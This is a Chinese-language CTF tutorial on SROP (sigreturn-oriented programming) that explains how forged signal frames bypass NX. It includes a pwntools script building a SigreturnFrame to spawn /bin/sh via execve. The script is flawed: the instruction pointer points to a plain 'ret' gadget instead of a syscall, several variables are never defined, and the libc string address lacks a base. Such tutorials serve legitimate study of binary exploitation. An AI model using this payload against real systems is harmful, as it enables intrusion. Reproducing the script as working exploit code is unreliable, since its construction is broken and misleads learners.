SROP ctfshow
时间: 2025-01-15 09:18:34 浏览: 34
SROP 技术详解
SROP (Sigreturn Oriented Programming) 是一种高级攻击技术,主要针对启用了 NX(No-eXecute)保护的系统。这种技术利用了类 Unix 系统中的 Signal 机制来绕过某些安全防护措施[^2]。
工作原理
当一个信号被捕获并处理完毕后,sigreturn
系统调用会被用来恢复之前被中断的状态。如果能够控制 sigreturn
的参数,则可以精心构造寄存器状态以及堆栈指针的位置,从而执行任意代码或操作。具体来说,在触发特定条件下的异常时,可以通过伪造的上下文让 CPU 执行预期之外的操作序列。
对于 CTF 比赛而言,通常会遇到只有部分功能可用的情况,比如题目中提到的存在栈溢出漏洞但缺少标准库函数入口地址的情形下,就可以考虑使用 SROP 来构建 payload 实现远程命令执行或其他目的[^3]。
构造 Payload
为了成功实施基于 SROP 的攻击,需要满足以下几个要素:
- 找到合适的 gadget: 需要在二进制文件内部寻找可用于设置寄存器值的小片段指令集合。
- 确定 sigreturn syscall number: 对于 x86_64 架构,默认情况下其编号为 0xf 或者说 15 十进制数。
- 准备有效的 frame 数据结构: 这里涉及到如何填充各个字段使得最终能跳转到想要的目标位置。
下面给出一段 Python 脚本作为例子展示怎样通过 pwntools 库创建这样的载荷:
from pwn import *
# 假设已知的信息如下
binary = ELF('./target_binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(binary)
# 设置目标架构和环境变量
context.arch = 'amd64'
context.os = 'linux'
# 创建 Sigreturn Frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # execve system call number on amd64 is 0x3b
frame.rdi = next(libc.search(b'/bin/sh')) # argv[0], path to shell binary
frame.rsi = 0 # argv, NULL pointer
frame.rdx = 0 # envp, also a NULL pointer
frame.rip = rop.find_gadget(['ret'])[0]
payload = b'A' * offset_to_return_address + pack(rop_chain.address) + bytes(frame)
这段脚本展示了如何利用 pwntools 中提供的 API 来简化复杂过程,并且自动计算所需的各种偏移量等信息。
相关推荐

















